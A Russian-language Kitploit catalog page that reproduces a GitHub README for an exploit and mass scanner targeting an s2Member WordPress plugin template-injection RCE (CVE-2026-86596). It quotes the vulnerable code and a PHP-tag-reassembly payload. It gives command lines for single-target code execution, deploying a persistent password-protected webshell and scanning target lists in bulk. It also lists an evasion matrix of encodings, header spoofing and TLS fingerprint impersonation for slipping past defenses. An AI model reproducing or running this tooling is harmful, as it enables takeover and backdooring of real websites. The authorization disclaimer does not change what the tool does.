Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-86596 — Однофайловый эксплойт и массовый сканер для CVE-2026-86596 — RCE через внедрение шаблонов в s2Member посредством параметра item_name в PayPal IPN, с вариантами обхода и развёртыванием веб-шелла. | Kitploit
Инструменты/GitHubGitHub/aureels/cve-2026-86596
РазведкаСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияОбход IDS/IPSЭксплуатация веб-приложенийВеб-безопасностьКомандование и УправлениеИнструмент Удаленного ДоступаПодмена Цифрового Отпечатка
GitHub
51111 ч 27 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
aureels/cve-2026-86596

CVE-2026-86596

Однофайловый эксплойт и массовый сканер для CVE-2026-86596 — RCE через внедрение шаблонов в s2Member посредством параметра item_name в PayPal IPN, с вариантами обхода и развёртыванием веб-шелла.

Репозиторий
Поделиться

CVE-2026-86596 - s2Member <= 260927 Оружие RCE

CVSS 9.8 | CVE-2026-86596 | Патч: 261001+

Однофайловый эксплойт и сканер для внедрения шаблонов в s2Member через параметр IPN item_name.

Уязвимость

$paypal = strip_php_tags_deep($paypal);           // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Removes %%x%% -> reassembles <?php

Полезная нагрузка: <%%x%%?php system('id'); ?> → обходит strip_php_tags_deep, после очистки плейсхолдеров собирается в валидный <?php.

Использование

# Single target RCE
python3 poc.py target.com --cmd "id" --authorized

# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Параметры

ФлагОписание
--cmd "id"Команда для выполнения (или shell:pass для веб-шелла)
--scanРежим массового сканирования (чтение целей из файла)
--exploitПопытка эксплуатации во время сканирования
--authorizedОБЯЗАТЕЛЬНО для любого действия по эксплуатации
--reconПолная разведка перед эксплуатацией
--item-numberКонкретный item_number (по умолчанию: автоопределение)
--proxy-verificationКлюч s2member_paypal_proxy_verification
--write-testЗаписать тестовый файл вместо выполнения команды
--deploy-shellРазвернуть постоянный веб-шелл
--shell-pathИмя файла веб-шелла (по умолчанию: shell.php)
--full-bypassПопробовать ВСЕ варианты обхода (медленно)
--no-evasionОтключить все попытки обхода
--threads NПотоки сканирования (по умолчанию: 15)
--output fileВывод в JSON/CSV
--http-proxyHTTP(S)-прокси
--impersonateОтпечаток TLS: chrome/firefox/safari/edge
--insecureОтключить проверку TLS
--verboseПодробный вывод

Матрица обхода

УровеньВарианты
Полезная нагрузка10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Запись4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
Шелл5: eval, system, assert, b64_eval, shortcode
Запрос5: form, multipart, dup, multipart-dup, JSON
Заголовки7: XFF spoof, PayPal referer/origin, IPN headers, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

Требования для живой RCE

  • s2Member <= 260927
  • Валидный item_number (ID защищённого поста/страницы)
  • Верификация PayPal IPN (песочница или ключ верификации прокси)
  • Точка внедрения шаблона: do_shortcode() / [s2If php=...]

Файлы

/root/labv/
├── poc.py        # Single weaponized exploit + scanner (384 lines)
├── README.md     # This file
└── targets.txt   # Example target list

Ссылки

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

Правовая информация

ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ. Флаг --authorized подтверждает наличие письменного разрешения.

Скачать инструмент